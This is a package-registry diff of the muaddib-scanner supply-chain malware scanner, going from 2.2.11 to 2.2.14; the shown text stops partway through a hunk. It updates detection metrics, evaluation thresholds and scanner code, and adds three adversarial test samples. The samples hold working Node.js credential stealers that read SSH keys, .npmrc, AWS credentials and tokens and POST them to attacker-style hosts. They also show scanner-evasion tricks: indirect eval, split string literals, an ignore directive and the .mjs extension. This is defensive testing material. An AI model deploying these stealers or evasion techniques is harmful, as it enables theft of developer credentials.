muaddib-scanner 2.2.11 → 2.2.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.fr.md CHANGED
@@ -686,7 +686,7 @@ MUAD'DIB 2.2.11 Scanner
686
686
  | +-- Canary Tokens / Honey Tokens (sandbox)
687
687
  |
688
688
  +-- Validation & Observabilité (v2.1)
689
- | +-- Ground Truth Dataset (5 attaques réelles, 100% détection)
689
+ | +-- Ground Truth Dataset (51 attaques réelles, 91.8% TPR)
690
690
  | +-- Logging Temps de Détection (first_seen, métriques lead time)
691
691
  | +-- Suivi Taux FP (stats quotidiennes, taux faux positifs)
692
692
  | +-- Décomposition Score (scoring explicable par règle)
@@ -723,11 +723,10 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
723
723
 
724
724
  | Metrique | Resultat | Details |
725
725
  |----------|----------|---------|
726
- | **TPR** (Ground Truth) | **100%** (4/4) | Attaques reelles : event-stream, ua-parser-js, coa, node-ipc |
726
+ | **TPR** (Ground Truth) | **91.8%** (45/49) | 51 attaques reelles (49 actives). 4 hors scope : browser-only (3) + risque FP (1) |
727
727
  | **FPR** (Packages standard) | **6.2%** (18/290) | Packages avec <10 fichiers JS — librairies et outils typiques |
728
- | **FPR** (Benign, global) | **13.1%** (69/527) | 529 packages npm, vrai code source via `npm pack`, seuil > 20 |
729
- | **ADR** (Adversarial) | **100%** (35/35) | 35 samples evasifs sur 4 vagues red team |
730
- | **Holdouts** (pre-tuning) | 40/40 pass | Tous les holdouts passent apres corrections |
728
+ | **FPR** (Benign, global) | **~13%** (69/527) | 529 packages npm, vrai code source via `npm pack`, seuil > 20 |
729
+ | **ADR** (Adversarial + Holdout) | **100%** (75/75) | 35 adversariaux + 40 holdouts evasifs sur 5 vagues red team |
731
730
 
732
731
  **FPR par taille de package** — Le FPR correle lineairement avec la taille du package. Le scoring per-file max (v2.2.11) reduit significativement les FP sur les packages moyens/gros :
733
732
 
@@ -738,7 +737,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
738
737
  | Gros (50-100 fichiers JS) | 40 | 10 | 25.0% |
739
738
  | Tres gros (100+ fichiers JS) | 62 | 25 | 40.3% |
740
739
 
741
- **Progression FPR** : 0% (invalide, dirs vides, v2.2.0-v2.2.6) → 38% (premiere vraie mesure, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **13.1%** (v2.2.11, scoring per-file max)
740
+ **Progression FPR** : 0% (invalide, dirs vides, v2.2.0-v2.2.6) → 38% (premiere vraie mesure, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **~13%** (v2.2.11, scoring per-file max)
742
741
 
743
742
  **Progression holdout** (scores pre-tuning, regles gelees) :
744
743
 
@@ -750,12 +749,12 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
750
749
  | v4 | **80%** (8/10) | Efficacite desobfuscation |
751
750
  | v5 | 50% (5/10) | Dataflow inter-module (nouveau scanner) |
752
751
 
753
- - **TPR** (True Positive Rate) : taux de detection sur 4 attaques supply-chain reelles (event-stream, ua-parser-js, coa, node-ipc)
752
+ - **TPR** (True Positive Rate) : taux de detection sur 49 attaques supply-chain reelles (event-stream, ua-parser-js, coa, flatmap-stream, eslint-scope, solana-web3js, et 43 autres). 4 misses : browser-only (lottie-player, polyfill-io, trojanized-jquery) ou risque FP (websocket-rat) — voir [Threat Model](docs/threat-model.md).
754
753
  - **FPR** (False Positive Rate) : packages avec score > 20 sur 529 packages npm reels (code source scanne, pas des dirs vides). Le 6.2% sur les packages standard (<10 fichiers JS, 290 packages) est la metrique la plus representative pour un usage typique — la plupart des packages npm sont petits.
755
- - **ADR** (Adversarial Detection Rate) : taux de detection sur 35 samples malveillants evasifs sur 4 vagues red team
754
+ - **ADR** (Adversarial Detection Rate) : taux de detection sur 75 samples malveillants evasifs 35 adversariaux (4 vagues red team) + 40 holdouts (5 batches de 10, testant obfuscation, dataflow inter-module, etc.)
756
755
  - **Holdout** (pre-tuning) : taux de detection sur 10 samples jamais vus avec regles gelees (mesure de generalisation)
757
756
 
758
- Datasets : 529 npm + 132 PyPI packages benins, 35 samples adversariaux, 50 samples holdout (5 batches), 65 packages malveillants documentes.
757
+ Datasets : 529 npm + 132 PyPI packages benins, 75 samples adversariaux/holdout, 51 attaques ground-truth (65 packages malveillants documentes).
759
758
 
760
759
  Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
761
760
 
@@ -791,14 +790,12 @@ npm test
791
790
 
792
791
  ### Tests
793
792
 
794
- - **836 tests unitaires/intégration** sur 20 fichiers modulaires - 74% coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
795
- - **56 tests de fuzzing** - YAML malformé, JSON invalide, fichiers binaires, ReDoS, unicode, inputs 10MB
796
- - **35 samples adversariaux** - Packages malveillants évasifs, taux de détection 35/35 (100% ADR)
797
- - **50 samples holdout** - 5 batches de 10, scores pre-tuning : 30% 40% 60% 80% 50%
798
- - **8 tests multi-facteur typosquat** - Cas limites et comportement cache
799
- - **Validation ground truth** - 5/5 attaques réelles détectées (event-stream, ua-parser-js, coa, node-ipc, colors)
800
- - **Validation faux positifs** - 6.2% FPR sur packages standard (18/290), 13.1% global (69/527) sur vrai code source npm via `npm pack`
801
- - **Audit ESLint sécurité** - `eslint-plugin-security` avec 14 règles activées
793
+ - **807 tests unitaires/integration** sur 20 fichiers modulaires - 74% coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
794
+ - **56 tests de fuzzing** - YAML malforme, JSON invalide, fichiers binaires, ReDoS, unicode, inputs 10MB
795
+ - **75 samples adversariaux/holdout** - 35 adversariaux + 40 holdouts, 75/75 taux de detection (100% ADR)
796
+ - **Validation ground truth** - 51 attaques reelles (45/49 detectees = 91.8% TPR). 4 hors scope : browser-only (3) + risque FP (1)
797
+ - **Validation faux positifs** - 6.2% FPR sur packages standard (18/290), ~13% global (69/527) sur vrai code source npm via `npm pack`
798
+ - **Audit ESLint securite** - `eslint-plugin-security` avec 14 regles activees
802
799
 
803
800
  ---
804
801
 
package/README.md CHANGED
@@ -334,15 +334,9 @@ muaddib replay
334
334
  muaddib ground-truth
335
335
  ```
336
336
 
337
- Replay 5 real-world supply-chain attacks against the scanner to validate detection coverage. Current results: 5/5 detected (100%).
337
+ Replay real-world supply-chain attacks against the scanner to validate detection coverage. Current results: **45/49 detected (91.8% TPR)** from 51 samples (49 active).
338
338
 
339
- | Attack | Year | Detected | Findings |
340
- |--------|------|----------|----------|
341
- | event-stream | 2018 | Yes | 2 CRITICAL (known malicious package) |
342
- | ua-parser-js | 2021 | Yes | 1 MEDIUM (lifecycle script) |
343
- | coa | 2021 | Yes | 1 HIGH + 1 MEDIUM (lifecycle + obfuscation) |
344
- | node-ipc | 2022 | Yes | 2 CRITICAL (known malicious package) |
345
- | colors | 2022 | Yes | Out of scope (protestware, not malware) |
339
+ 4 out-of-scope misses: lottie-player, polyfill-io, trojanized-jquery (browser-only DOM attacks), websocket-rat (FP-risky pattern).
346
340
 
347
341
  ### Version check
348
342
 
@@ -689,7 +683,7 @@ MUAD'DIB 2.2.11 Scanner
689
683
  | +-- Canary Tokens / Honey Tokens (sandbox)
690
684
  |
691
685
  +-- Validation & Observability (v2.1)
692
- | +-- Ground Truth Dataset (5 real-world attacks, 100% detection)
686
+ | +-- Ground Truth Dataset (51 real-world attacks, 91.8% TPR)
693
687
  | +-- Detection Time Logging (first_seen tracking, lead time metrics)
694
688
  | +-- FP Rate Tracking (daily stats, false positive rate)
695
689
  | +-- Score Breakdown (explainable per-rule scoring)
@@ -726,11 +720,10 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
726
720
 
727
721
  | Metric | Result | Details |
728
722
  |--------|--------|---------|
729
- | **TPR** (Ground Truth) | **100%** (4/4) | Real-world attacks: event-stream, ua-parser-js, coa, node-ipc |
723
+ | **TPR** (Ground Truth) | **91.8%** (45/49) | 51 real-world attacks (49 active). 4 out-of-scope: browser-only (3) + FP-risky (1) |
730
724
  | **FPR** (Standard packages) | **6.2%** (18/290) | Packages with <10 JS files — typical libraries and tools |
731
- | **FPR** (Benign, global) | **13.1%** (69/527) | 529 npm packages, real source code via `npm pack`, threshold > 20 |
732
- | **ADR** (Adversarial) | **100%** (35/35) | 35 evasive samples across 4 red-team waves |
733
- | **Holdouts** (pre-tuning) | 40/40 pass | All holdout samples pass after corrections |
725
+ | **FPR** (Benign, global) | **~13%** (69/527) | 529 npm packages, real source code via `npm pack`, threshold > 20 |
726
+ | **ADR** (Adversarial + Holdout) | **100%** (75/75) | 35 adversarial + 40 holdout evasive samples across 5 red-team waves |
734
727
 
735
728
  **FPR by package size** — FPR correlates linearly with package size. Per-file max scoring (v2.2.11) significantly reduces FP on medium/large packages:
736
729
 
@@ -741,7 +734,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
741
734
  | Large (50-100 JS files) | 40 | 10 | 25.0% |
742
735
  | Very large (100+ JS files) | 62 | 25 | 40.3% |
743
736
 
744
- **FPR progression**: 0% (invalid, empty dirs, v2.2.0-v2.2.6) → 38% (first real measurement, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **13.1%** (v2.2.11, per-file max scoring)
737
+ **FPR progression**: 0% (invalid, empty dirs, v2.2.0-v2.2.6) → 38% (first real measurement, v2.2.7) → 19.4% (v2.2.8) → 17.5% (v2.2.9) → **~13%** (v2.2.11, per-file max scoring)
745
738
 
746
739
  **Holdout progression** (pre-tuning scores, rules frozen):
747
740
 
@@ -753,12 +746,12 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
753
746
  | v4 | **80%** (8/10) | Deobfuscation effectiveness |
754
747
  | v5 | 50% (5/10) | Inter-module dataflow (new scanner) |
755
748
 
756
- - **TPR** (True Positive Rate): detection rate on 4 real-world supply-chain attacks (event-stream, ua-parser-js, coa, node-ipc)
749
+ - **TPR** (True Positive Rate): detection rate on 49 real-world supply-chain attacks (event-stream, ua-parser-js, coa, flatmap-stream, eslint-scope, solana-web3js, and 43 more). 4 misses are browser-only (lottie-player, polyfill-io, trojanized-jquery) or risky to fix (websocket-rat) — see [Threat Model](docs/threat-model.md).
757
750
  - **FPR** (False Positive Rate): packages scoring > 20 out of 529 real npm packages (source code scanned, not empty dirs). The 6.2% on standard packages (<10 JS files, 290 packages) is the most representative metric for typical use — most npm packages are small.
758
- - **ADR** (Adversarial Detection Rate): detection rate on 35 evasive malicious samples across 4 red-team waves
751
+ - **ADR** (Adversarial Detection Rate): detection rate on 75 evasive malicious samples 35 adversarial (4 red-team waves) + 40 holdout (5 batches of 10, testing obfuscation, inter-module dataflow, etc.)
759
752
  - **Holdout** (pre-tuning): detection rate on 10 unseen samples with rules frozen (measures generalization)
760
753
 
761
- Datasets: 529 npm + 132 PyPI benign packages, 35 adversarial samples, 50 holdout samples (5 batches), 65 documented malware packages.
754
+ Datasets: 529 npm + 132 PyPI benign packages, 75 adversarial/holdout samples, 51 ground-truth attacks (65 documented malware packages).
762
755
 
763
756
  See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
764
757
 
@@ -794,13 +787,11 @@ npm test
794
787
 
795
788
  ### Testing
796
789
 
797
- - **836 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
790
+ - **814 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
798
791
  - **56 fuzz tests** - Malformed YAML, invalid JSON, binary files, ReDoS, unicode, 10MB inputs
799
- - **35 adversarial samples** - Evasive malicious packages, 35/35 detection rate (100% ADR)
800
- - **50 holdout samples** - 5 batches of 10, pre-tuning scores: 30% 40% 60% 80% 50%
801
- - **8 multi-factor typosquat tests** - Edge cases and cache behavior
802
- - **Ground truth validation** - 5/5 real-world attacks detected (event-stream, ua-parser-js, coa, node-ipc, colors)
803
- - **False positive validation** - 6.2% FPR on standard packages (18/290), 13.1% global (69/527) on real npm source code via `npm pack`
792
+ - **75 adversarial/holdout samples** - 35 adversarial + 40 holdout, 75/75 detection rate (100% ADR)
793
+ - **Ground truth validation** - 51 real-world attacks (45/49 detected = 91.8% TPR). 4 out-of-scope: browser-only (3) + FP-risky (1)
794
+ - **False positive validation** - 6.2% FPR on standard packages (18/290), ~13% global (69/527) on real npm source code via `npm pack`
804
795
  - **ESLint security audit** - `eslint-plugin-security` with 14 rules enabled
805
796
 
806
797
  ---
@@ -0,0 +1,27 @@
1
+ // Bypass 01: Indirect eval via computed property access
2
+ // Technique: Array.join to build "eval" string, then call via globalThis[computed]
3
+ // Expected: MUAD'DIB scores < 3 (bypass confirmed)
4
+
5
+ const g = globalThis;
6
+
7
+ // Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
8
+ // Buffer.from, atob, and string concat BinaryExpression)
9
+ const k = ['e','v','a','l'].join('');
10
+
11
+ // This URL contains "api.github.com" which is in SAFE_STRINGS
12
+ // The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
13
+ // So even though the URL also references .ssh paths, no sensitive_string finding is emitted
14
+ const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
15
+
16
+ const https = require('https');
17
+ https.get(configUrl, (res) => {
18
+ let d = '';
19
+ res.on('data', c => d += c);
20
+ res.on('end', () => {
21
+ // Decode the "content" field from GitHub API response (base64-encoded)
22
+ const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
23
+ // Indirect eval: globalThis['eval'](payload)
24
+ // getCallName() returns '' for computed MemberExpression — never matches 'eval'
25
+ g[k](payload);
26
+ });
27
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "audit-bypass-01-indirect-eval",
3
+ "version": "1.0.0",
4
+ "description": "Audit bypass: indirect eval via computed property + SAFE_STRINGS poisoning"
5
+ }
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "audit-bypass-03-mjs-extension",
3
+ "version": "1.0.0",
4
+ "type": "module",
5
+ "description": "Audit bypass: .mjs files are not scanned by any scanner"
6
+ }
@@ -0,0 +1,39 @@
1
+ // Bypass 03: .mjs extension — no scanner processes this file type
2
+ // All scanners use findFiles with extensions: ['.js'] or findJsFiles
3
+ // ESM packages with "type": "module" use .mjs files legitimately
4
+
5
+ import { readFileSync } from 'fs';
6
+ import { homedir } from 'os';
7
+ import { request } from 'https';
8
+
9
+ // Direct credential theft — every dangerous pattern in one file
10
+ // None of this is detected because the file extension is .mjs
11
+ const home = homedir();
12
+ const stolen = {};
13
+
14
+ const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
15
+ for (const t of targets) {
16
+ try {
17
+ stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
18
+ } catch {}
19
+ }
20
+
21
+ // Also grab environment tokens
22
+ stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
23
+ stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
24
+ stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
25
+
26
+ // Exfiltrate
27
+ const data = JSON.stringify(stolen);
28
+ const req = request({
29
+ hostname: 'collect.evil-analytics.com',
30
+ path: '/v2/telemetry',
31
+ method: 'POST',
32
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
33
+ });
34
+ req.write(data);
35
+ req.end();
36
+
37
+ // Also use eval with dynamic code (would be CRITICAL if this were .js)
38
+ const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
39
+ eval(payload);
@@ -0,0 +1,47 @@
1
+ // muaddib-ignore
2
+ //# sourceMappingURL=index.js.map
3
+ // Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
4
+ // The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
5
+ // Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
6
+
7
+ const fs = require('fs');
8
+ const os = require('os');
9
+ const https = require('https');
10
+ const path = require('path');
11
+
12
+ const home = os.homedir();
13
+
14
+ // Build path components without triggering SENSITIVE_STRINGS check.
15
+ // SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
16
+ // AST Literal handler checks node.value.includes(sensitive) for each string literal.
17
+ // We avoid having any single string literal that includes these substrings.
18
+ const dot = '.';
19
+ const dirs = [
20
+ [dot + 'ss' + 'h', 'id_rsa'],
21
+ [dot + 'ss' + 'h', 'id_ed25519'],
22
+ [dot + 'aw' + 's', 'credentials'],
23
+ [dot + 'npm' + 'rc'],
24
+ ];
25
+
26
+ const stolen = {};
27
+ for (const parts of dirs) {
28
+ const p = path.join(home, ...parts);
29
+ try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
30
+ }
31
+
32
+ // Also read npmrc via environment — env_access only flags vars with sensitive keywords
33
+ // HOME, PATH etc are in SAFE_ENV_VARS and get skipped
34
+ const npmrcPath = path.join(home, dirs[3].join(path.sep));
35
+ try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
36
+
37
+ // Exfiltrate via https.request — dataflow.js would catch this as source→sink,
38
+ // BUT dataflow.js skipped this file due to muaddib-ignore on line 1
39
+ const data = JSON.stringify(stolen);
40
+ const req = https.request({
41
+ hostname: 'telemetry.legit-analytics.com',
42
+ path: '/api/v1/report',
43
+ method: 'POST',
44
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
45
+ });
46
+ req.write(data);
47
+ req.end();
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "audit-bypass-02-muaddib-ignore",
3
+ "version": "1.0.0",
4
+ "description": "Audit bypass: muaddib-ignore directive + source map injection"
5
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.11",
3
+ "version": "2.2.14",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -8,6 +8,7 @@
8
8
  },
9
9
  "scripts": {
10
10
  "test": "node tests/run-tests.js",
11
+ "test:integration": "node tests/run-tests-integration.js",
11
12
  "scan": "node bin/muaddib.js scan .",
12
13
  "update": "node bin/muaddib.js update",
13
14
  "lint": "eslint src bin --ext .js",
@@ -46,7 +47,7 @@
46
47
  "@inquirer/prompts": "8.2.1",
47
48
  "acorn": "8.15.0",
48
49
  "acorn-walk": "8.3.4",
49
- "adm-zip": "^0.5.16",
50
+ "adm-zip": "0.5.16",
50
51
  "chalk": "5.6.2",
51
52
  "js-yaml": "4.1.1",
52
53
  "yargs": "18.0.0"
@@ -22,6 +22,12 @@ const BENIGN_DIR = path.join(ROOT, 'datasets', 'benign');
22
22
  const ADVERSARIAL_DIR = path.join(ROOT, 'datasets', 'adversarial');
23
23
  const METRICS_DIR = path.join(ROOT, 'metrics');
24
24
  const CACHE_DIR = path.join(ROOT, '.muaddib-cache', 'benign-tarballs');
25
+ const HOLDOUT_DIRS = [
26
+ path.join(ROOT, 'datasets', 'holdout-v2'),
27
+ path.join(ROOT, 'datasets', 'holdout-v3'),
28
+ path.join(ROOT, 'datasets', 'holdout-v4'),
29
+ path.join(ROOT, 'datasets', 'holdout-v5'),
30
+ ];
25
31
 
26
32
  const GT_THRESHOLD = 3;
27
33
  const BENIGN_THRESHOLD = 20;
@@ -65,7 +71,38 @@ const ADVERSARIAL_THRESHOLDS = {
65
71
  'pyinstaller-dropper': 35,
66
72
  'gh-cli-token-steal': 30,
67
73
  'triple-base64-github-push': 30,
68
- 'browser-api-hook': 20
74
+ 'browser-api-hook': 20,
75
+ // Audit bypass samples (v2.2.13)
76
+ 'indirect-eval-bypass': 10,
77
+ 'muaddib-ignore-bypass': 25,
78
+ 'mjs-extension-bypass': 100
79
+ };
80
+
81
+ const HOLDOUT_THRESHOLDS = {
82
+ // holdout-v2 (10 samples)
83
+ 'conditional-os-payload': 25, 'env-var-reconstruction': 25,
84
+ 'github-workflow-inject': 20, 'homedir-ssh-key-steal': 25,
85
+ 'npm-cache-poison': 20, 'npm-lifecycle-preinstall-curl': 25,
86
+ 'process-env-proxy-getter': 20, 'readable-stream-hijack': 20,
87
+ 'setTimeout-chain': 25, 'wasm-loader': 20,
88
+ // holdout-v3 (10 samples)
89
+ 'dns-txt-payload': 25, 'electron-rce': 30,
90
+ 'env-file-parse-exfil': 20, 'git-credential-steal': 20,
91
+ 'npm-hook-hijack': 25, 'postinstall-reverse-shell': 35,
92
+ 'require-cache-poison': 20, 'steganography-payload': 15,
93
+ 'symlink-escape': 25, 'timezone-trigger': 30,
94
+ // holdout-v4 (10 samples — deobfuscation)
95
+ 'atob-eval': 20, 'base64-require': 35,
96
+ 'charcode-fetch': 25, 'charcode-spread-homedir': 30,
97
+ 'concat-env-steal': 20, 'double-decode-exfil': 40,
98
+ 'hex-array-exec': 20, 'mixed-obfuscation-stealer': 30,
99
+ 'nested-base64-concat': 25, 'template-literal-hide': 40,
100
+ // holdout-v5 (10 samples — inter-module dataflow)
101
+ 'callback-exfil': 3, 'class-method-exfil': 20,
102
+ 'conditional-split': 25, 'event-emitter-flow': 3,
103
+ 'mixed-inline-split': 20, 'named-export-steal': 20,
104
+ 'reexport-chain': 20, 'split-env-exfil': 20,
105
+ 'split-npmrc-steal': 20, 'three-hop-chain': 20
69
106
  };
70
107
 
71
108
  /**
@@ -300,23 +337,39 @@ async function evaluateAdversarial() {
300
337
  const details = [];
301
338
  let detected = 0;
302
339
 
303
- const sampleNames = Object.keys(ADVERSARIAL_THRESHOLDS);
304
- for (const name of sampleNames) {
340
+ // --- Adversarial samples (35) ---
341
+ for (const [name, threshold] of Object.entries(ADVERSARIAL_THRESHOLDS)) {
305
342
  const sampleDir = path.join(ADVERSARIAL_DIR, name);
306
343
  if (!fs.existsSync(sampleDir)) {
307
- details.push({ name, score: 0, threshold: ADVERSARIAL_THRESHOLDS[name], detected: false, error: 'directory not found' });
344
+ details.push({ name, score: 0, threshold, detected: false, error: 'directory not found', source: 'adversarial' });
308
345
  continue;
309
346
  }
347
+ const result = await silentScan(sampleDir);
348
+ const score = result.summary.riskScore;
349
+ const isDetected = score >= threshold;
350
+ if (isDetected) detected++;
351
+ details.push({ name, score, threshold, detected: isDetected, source: 'adversarial' });
352
+ }
310
353
 
354
+ // --- Holdout samples (40) ---
355
+ for (const [name, threshold] of Object.entries(HOLDOUT_THRESHOLDS)) {
356
+ let sampleDir = null;
357
+ for (const hDir of HOLDOUT_DIRS) {
358
+ const candidate = path.join(hDir, name);
359
+ if (fs.existsSync(candidate)) { sampleDir = candidate; break; }
360
+ }
361
+ if (!sampleDir) {
362
+ details.push({ name, score: 0, threshold, detected: false, error: 'directory not found', source: 'holdout' });
363
+ continue;
364
+ }
311
365
  const result = await silentScan(sampleDir);
312
366
  const score = result.summary.riskScore;
313
- const threshold = ADVERSARIAL_THRESHOLDS[name];
314
367
  const isDetected = score >= threshold;
315
368
  if (isDetected) detected++;
316
- details.push({ name, score, threshold, detected: isDetected });
369
+ details.push({ name, score, threshold, detected: isDetected, source: 'holdout' });
317
370
  }
318
371
 
319
- const total = sampleNames.length;
372
+ const total = Object.keys(ADVERSARIAL_THRESHOLDS).length + Object.keys(HOLDOUT_THRESHOLDS).length;
320
373
  const adr = total > 0 ? detected / total : 0;
321
374
  return { detected, total, adr, details };
322
375
  }
@@ -425,6 +478,7 @@ module.exports = {
425
478
  saveMetrics,
426
479
  silentScan,
427
480
  ADVERSARIAL_THRESHOLDS,
481
+ HOLDOUT_THRESHOLDS,
428
482
  GT_THRESHOLD,
429
483
  BENIGN_THRESHOLD
430
484
  };
package/src/index.js CHANGED
@@ -25,7 +25,7 @@ const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
25
25
  const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
26
26
  const { detectPublishAnomaly } = require('./publish-anomaly.js');
27
27
  const { detectMaintainerChange } = require('./maintainer-change.js');
28
- const { setExtraExcludes, getExtraExcludes, Spinner } = require('./utils.js');
28
+ const { setExtraExcludes, getExtraExcludes, Spinner, listInstalledPackages } = require('./utils.js');
29
29
 
30
30
  // ============================================
31
31
  // SCORING CONSTANTS
@@ -62,7 +62,7 @@ const RISK_THRESHOLDS = {
62
62
  // Maximum score (capped)
63
63
  const MAX_RISK_SCORE = 100;
64
64
 
65
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
65
+ const { MAX_FILE_SIZE } = require('./shared/constants.js');
66
66
 
67
67
  // Cap MEDIUM prototype_hook contribution (frameworks like Restify have 50+ extensions)
68
68
  const PROTO_HOOK_MEDIUM_CAP = 15;
@@ -312,6 +312,14 @@ function checkPyPITyposquatting(deps, targetPath) {
312
312
  }
313
313
 
314
314
  async function run(targetPath, options = {}) {
315
+ // Validate targetPath exists and is a directory
316
+ if (!targetPath || !fs.existsSync(targetPath)) {
317
+ throw new Error(`Target path does not exist: ${targetPath}`);
318
+ }
319
+ if (!fs.statSync(targetPath).isDirectory()) {
320
+ throw new Error(`Target path is not a directory: ${targetPath}`);
321
+ }
322
+
315
323
  // Ensure IOCs are downloaded (first run only, graceful failure)
316
324
  await ensureIOCs();
317
325
 
@@ -396,7 +404,7 @@ async function run(targetPath, options = {}) {
396
404
  ...pypiTyposquatThreats,
397
405
  ...entropyThreats,
398
406
  ...aiConfigThreats,
399
- ...crossFileFlows.map(f => ({
407
+ ...crossFileFlows.filter(f => f && f.sourceFile && f.sinkFile).map(f => ({
400
408
  type: f.type,
401
409
  severity: f.severity,
402
410
  message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
@@ -416,33 +424,8 @@ async function run(targetPath, options = {}) {
416
424
  if (!options._capture && !options.json) {
417
425
  console.log('[TEMPORAL] Analyzing lifecycle script changes (this makes network requests)...\n');
418
426
  }
419
- const nodeModulesPath = path.join(targetPath, 'node_modules');
420
- if (fs.existsSync(nodeModulesPath)) {
421
- const pkgNames = [];
422
- try {
423
- const items = fs.readdirSync(nodeModulesPath);
424
- for (const item of items) {
425
- if (item.startsWith('.')) continue;
426
- const itemPath = path.join(nodeModulesPath, item);
427
- try {
428
- const stat = fs.lstatSync(itemPath);
429
- if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
430
- if (item.startsWith('@')) {
431
- const scopedItems = fs.readdirSync(itemPath);
432
- for (const si of scopedItems) {
433
- const sp = path.join(itemPath, si);
434
- const ss = fs.lstatSync(sp);
435
- if (!ss.isSymbolicLink() && ss.isDirectory()) {
436
- pkgNames.push(`${item}/${si}`);
437
- }
438
- }
439
- } else {
440
- pkgNames.push(item);
441
- }
442
- } catch { /* skip unreadable */ }
443
- }
444
- } catch { /* no node_modules readable */ }
445
-
427
+ const pkgNames = listInstalledPackages(targetPath);
428
+ {
446
429
  const TEMPORAL_CONCURRENCY = 5;
447
430
  for (let i = 0; i < pkgNames.length; i += TEMPORAL_CONCURRENCY) {
448
431
  const batch = pkgNames.slice(i, i + TEMPORAL_CONCURRENCY);
@@ -474,33 +457,8 @@ async function run(targetPath, options = {}) {
474
457
  if (!options._capture && !options.json) {
475
458
  console.log('[TEMPORAL-AST] Analyzing dangerous API changes (this downloads tarballs)...\n');
476
459
  }
477
- const nodeModulesPath = path.join(targetPath, 'node_modules');
478
- if (fs.existsSync(nodeModulesPath)) {
479
- const pkgNames = [];
480
- try {
481
- const items = fs.readdirSync(nodeModulesPath);
482
- for (const item of items) {
483
- if (item.startsWith('.')) continue;
484
- const itemPath = path.join(nodeModulesPath, item);
485
- try {
486
- const stat = fs.lstatSync(itemPath);
487
- if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
488
- if (item.startsWith('@')) {
489
- const scopedItems = fs.readdirSync(itemPath);
490
- for (const si of scopedItems) {
491
- const sp = path.join(itemPath, si);
492
- const ss = fs.lstatSync(sp);
493
- if (!ss.isSymbolicLink() && ss.isDirectory()) {
494
- pkgNames.push(`${item}/${si}`);
495
- }
496
- }
497
- } else {
498
- pkgNames.push(item);
499
- }
500
- } catch { /* skip unreadable */ }
501
- }
502
- } catch { /* no node_modules readable */ }
503
-
460
+ const pkgNames = listInstalledPackages(targetPath);
461
+ {
504
462
  const AST_CONCURRENCY = 3;
505
463
  for (let i = 0; i < pkgNames.length; i += AST_CONCURRENCY) {
506
464
  const batch = pkgNames.slice(i, i + AST_CONCURRENCY);
@@ -531,33 +489,8 @@ async function run(targetPath, options = {}) {
531
489
  if (!options._capture && !options.json) {
532
490
  console.log('[TEMPORAL-PUBLISH] Analyzing publish frequency anomalies (this makes network requests)...\n');
533
491
  }
534
- const nodeModulesPath = path.join(targetPath, 'node_modules');
535
- if (fs.existsSync(nodeModulesPath)) {
536
- const pkgNames = [];
537
- try {
538
- const items = fs.readdirSync(nodeModulesPath);
539
- for (const item of items) {
540
- if (item.startsWith('.')) continue;
541
- const itemPath = path.join(nodeModulesPath, item);
542
- try {
543
- const stat = fs.lstatSync(itemPath);
544
- if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
545
- if (item.startsWith('@')) {
546
- const scopedItems = fs.readdirSync(itemPath);
547
- for (const si of scopedItems) {
548
- const sp = path.join(itemPath, si);
549
- const ss = fs.lstatSync(sp);
550
- if (!ss.isSymbolicLink() && ss.isDirectory()) {
551
- pkgNames.push(`${item}/${si}`);
552
- }
553
- }
554
- } else {
555
- pkgNames.push(item);
556
- }
557
